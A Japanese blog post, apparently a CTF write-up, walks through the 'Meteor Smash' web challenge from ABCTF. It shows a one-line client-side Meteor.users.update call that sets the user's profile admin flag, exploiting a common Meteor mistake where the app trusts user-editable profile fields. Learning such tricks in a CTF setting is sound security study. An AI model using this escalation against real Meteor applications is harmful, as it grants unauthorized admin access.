読者です 読者をやめる 読者になる 読者になる

TERRY's Note

CTF関連、解いた問題、勉強の記録などなど

Meteor Smash - ABCTF

CTF ABCTF Web

高校生向けオンラインCTFのABCTFに参加したのでwriteupを載せていこう
くそざこなので、これぐらいの難易度でもかなり歯ごたえがあった
ctftime.org


問題を見てみると以下のリンクが与えられる
http://107.170.122.6:8082/


Meteor.jsとはJavaScriptフレームワークらしい

リンクに飛んでみると、チャットのようなページ

とりあえずCreate Accountをして、Sign in

IDとPASSは適当でおk

友人に聞いたり、色々調べていくとMeteorのあるあるな間違いについてまとめてるサイトを発見
dweldon.silvrback.com


詳しくは分からないが、どうやら

if (Meteor.user().profile.isAdmin)

  // do important admin things

どうやらこのようなコードを書いてしまうと

Meteor.users.update(Meteor.userId(), {$set: {'profile.admin': true}});

このコード実行されたときそのアカウントをadminにしてしまうらしい

Meteor.user().profile

で確認してみると

Object {admin: true}

が返ってくるので成功したことが分かる

更新してみるとページにFLAGが出現した